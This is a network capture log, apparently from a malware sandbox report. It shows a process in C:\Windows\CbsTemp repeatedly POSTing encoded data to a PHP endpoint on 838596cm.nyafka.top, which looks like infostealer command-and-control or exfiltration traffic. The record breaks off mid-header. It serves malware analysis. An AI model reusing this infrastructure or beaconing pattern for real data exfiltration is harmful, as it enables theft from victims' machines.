Jan 8, 2025 17:13:10.139945030 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kfeqNGIAwSsM7yVAcbLMcHxEYizj8AYC9EYtEfFepFIzJMadwYGCBI4mkAiQQXT12o2vZRUItH0hSu0ukwpwgLkSGuCfJJPjEeiRiE8rP7f%2FSG5EOORrtmS%2FP7Jep37zJ1fKNfbx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7928984e729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5031&min_rtt=2014&rtt_var=6789&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=55829&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49938	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:10.306262970 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:10.663181067 CET	2532	OUT	Data Raw: 50 56 5b 55 59 59 56 5b 5e 5f 57 54 56 5c 59 5f 57 51 58 5b 50 54 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV[UYYV[^_WTV\Y_WQX[PTVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<8<$U._>==Z.'<>>>;'(1)2/*/$\5]-#_&'P-/
Jan 8, 2025 17:13:10.775485992 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:11.011657953 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MrDvD6Rf7kD6iPh%2FWSTDsrFPca6QBdYHZsIXmXGnXbluAlg2YqvvIYC1xHzMJOm7vLzu2SJNKNv5a0MDZdBLTpLTbvTTrYvIyCBuBDWPUzi1%2FZTDYdE2lYzha7bz4FakQI43jbWh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed792e0c2843b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3309&min_rtt=1613&rtt_var=3997&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=96166&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49944	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:11.195007086 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:11.551234007 CET	2528	OUT	Data Raw: 55 52 5b 54 59 5a 56 5b 5e 5f 57 54 56 5e 59 5d 57 50 58 5b 50 5a 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UR[TYZV[^_WTV^Y]WPX[PZVX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X?;+0#.)=;<)X&=$]&V("+X*/ 6(-?#_&'P-
Jan 8, 2025 17:13:11.639712095 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:11.886771917 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fEhjqm7CNtHWAfANhbzqqq%2FAX90xEMuWCKa%2BxmVIyhlCtt7oG9ChpcMe1MQ43D1spQ1Hk%2B4tfvtBPIEWaJhclQQwnKLy7Fe7XS9dzOHM4Q4kTbrj4ef2avTOvbO7t9leUv%2FBBpsS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79337d48727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2458&min_rtt=2008&rtt_var=1653&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=260249&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49950	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:12.014084101 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:12.363692045 CET	2532	OUT	Data Raw: 55 55 5e 55 59 58 56 5a 5e 5f 57 54 56 57 59 52 57 56 58 59 50 5d 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU^UYXVZ^_WTVWYRWVXYP]V^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +#^'==>";4*>5\((=]'+W+!/_>?75-8:#_&'P-
Jan 8, 2025 17:13:12.472752094 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:12.706957102 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tM0oDHGQJ1aDTYOopW0WJTujYo8mKDDaXitJIERJ8A4%2FW2hTVHmO1CPk67Se5TlFl%2Fj%2Byps1FaWx2cRa5cOpNDlMilv8mQsm4C8JvPMvP22%2Fy1ohbX77z0V52DvJo1yj4FtXwO4%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7938ac7243b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3729&min_rtt=1585&rtt_var=4883&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=77899&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49956	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:12.934175014 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:13.287704945 CET	2532	OUT	Data Raw: 50 51 5b 57 59 5d 53 59 5e 5f 57 54 56 59 59 5c 57 52 58 53 50 54 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PQ[WY]SY^_WTVYY\WRXSPTV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#< '0:Z)[)/B#?.1)!'(2<2_*?' -/_:?#_&'P-
Jan 8, 2025 17:13:13.374701023 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:13.616961956 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LAL4ip90XGq%2BUxEi0ha%2FLA2JJX0bsnHT6ciYA3Pr3kYJNMYh4f%2Boaz1svW7C%2BXIz3s1O2xef0pmIsw98DZjUllL8Vt2yRnISiqNLLKJORgy%2FV8bQCmKZIt1mZ7cRiBk1%2FKKRuwVd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed793e4d5b0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2244&min_rtt=1724&rtt_var=1686&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=248130&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49962	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:13.768682957 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:14.113749027 CET	2532	OUT	Data Raw: 50 51 5e 57 59 5c 53 5b 5e 5f 57 54 56 5a 59 5d 57 54 58 5b 50 59 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PQ^WY\S[^_WTVZY]WTX[PYVZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +(?'3^6/>*8=';>P)"?Y>Y#6\.?#_&'P-7
Jan 8, 2025 17:13:14.241391897 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:14.479101896 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YcYV%2FMLdD9grOwvAjX76v7JHS1P773UCN4mjV3D3ab6QO0WDyAeNEPDMFfJBZZEXmo4YUOSt4O7ai%2FOohcFz196mdIJbVROYECfHAs%2BzCnzNcZcczXQxXRMJT6MKbo7X0299kRL9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7943baca729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4195&min_rtt=2074&rtt_var=5019&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=76672&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49968	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:14.610807896 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:14.958231926 CET	2532	OUT	Data Raw: 55 50 5e 52 59 5d 56 5b 5e 5f 57 54 56 5b 59 53 57 52 58 59 50 5f 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UP^RY]V[^_WTV[YSWRXYP_V^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#?+#X'1)/)=5[);5$]%?2((?+">#Y.#_&'P-3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49969	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:15.012082100 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1816 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:15.364013910 CET	1816	OUT	Data Raw: 55 57 5e 54 59 5e 53 5f 5e 5f 57 54 56 5e 59 52 57 56 58 5e 50 5c 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UW^TY^S_^_WTV^YRWVX^P\VX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ^(^4$#==1X,3Z&>;X3.<\*Y ]"79#_&'P-
Jan 8, 2025 17:13:15.466000080 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:15.832381010 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:15.832401037 CET	961	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fULDEjzTOHsGdfD59nUujAO9wHBtJnf%2Bu%2FTRt5I5yLH80NJTFvawv3%2FWaJKfpfp%2FjZPjil1DkLVaaGtZpDdDaDGZlL%2Fps8l51ZgmaDimr0yhLN6egrloTZPO4vFknG8bC%2BZ%2FOGva"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed794b5cf7729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4871&min_rtt=2024&rtt_var=6454&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2165&delivery_rate=58856&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 56 25 3d 3c 1d 23 15 31 54 2b 3a 2c 02 3d 0d 31 07 39 07 02 5d 27 34 24 14 31 05 3c 5c 22 3f 3d 5e 3f 38 31 10 27 08 3b 08 28 3b 20 5c 04 1f 24 16 2b 3b 2d 1f 2a 2c 2a 59 27 23 0c 05 32 1d 05 00 25 04 30 00 26 2a 39 0f 20 17 27 57 2f 1d 32 18 3a 01 20 13 3c 19 24 5b 27 3e 2f 50 0f 10 38 50 39 3a 3c 04 22 21 3d 0f 35 0d 23 5b 34 0b 0a 12 2a 2d 3b 18 22 3f 3e 02 25 33 32 0b 37 1c 09 1f 30 33 28 03 3c 57 3c 1e 28 19 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$V%=<#1T+:,=19]'4$1<\"?=^?81';(; \$+;-,Y'#2%0&9 'W/2: <$['>/P8P9:<"!=5#[4-;"?>%32703(<W<($U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49971	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:15.290920019 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:15.645067930 CET	2532	OUT	Data Raw: 55 50 5e 57 59 5c 56 5a 5e 5f 57 54 56 5a 59 52 57 5e 58 58 50 54 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UP^WY\VZ^_WTVZYRW^XXPTVZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X+($3"X*.%.$+]=>>=[3;>Q?2$=/<!=8-#_&'P-7
Jan 8, 2025 17:13:15.832452059 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:15.958494902 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:16.092571974 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qMqbLtnb1timkr0KUN58P%2BZc2AkHhLF8%2BND5FTb4rBXmoipned8VbNrKB0m15mB200xtA9BQr4bhGBTd9vdX1jYM%2FlHFy9dTh3jAM5nz9rEe4Lb7njb7Fq%2FXXGc01w0kcDTuGzrK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed794d1b3ac34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2909&min_rtt=1469&rtt_var=3432&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=112359&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49976	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:16.270797014 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:16.633439064 CET	2532	OUT	Data Raw: 50 52 5b 57 5c 5a 56 5b 5e 5f 57 54 56 57 59 59 57 57 58 5d 50 5e 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PR[W\ZV[^_WTVWYYWWX]P^V_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Z(+('X?=\,'#Y=.>:3;W<#(/8X!.',/#_&'P-
Jan 8, 2025 17:13:16.726809025 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:16.959634066 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w2fHwkFfUSM1sGkm9lOiM9dsNUsiBUH41GPSCR6ELQRo4AVIa2bXb1mw08Y%2BUp1HskZazB8caJCcUdR6TD%2FTdGMWh9U6YUUuKCNvyluYzwlAQaqgy48pI51UBC7T%2F0PGicK8ahTo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79533ea7424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1733&min_rtt=1596&rtt_var=873&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=541743&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49982	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:17.108274937 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:17.458108902 CET	2532	OUT	Data Raw: 50 52 5e 50 59 50 56 52 5e 5f 57 54 56 56 59 5a 57 54 58 5a 50 5f 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PR^PYPVR^_WTVVYZWTXZP_V[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+<'0:[=Y//\>-&)"3+?2*/["=(-?#_&'P-
Jan 8, 2025 17:13:17.585133076 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:17.825237989 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7NpWMJzUrDScetl9qNxTcObeFFeG2EdgO9EDB19Bs5d2LB7qTa0X9q8TQaciwyPeiBOEiJFfdeXGsOoJgAOt2CkdmrvlJkASBzCo%2FypYTo%2BvDyyeAsLwAz6xyyUAaATymNB4Ziw4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed795898f6c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: 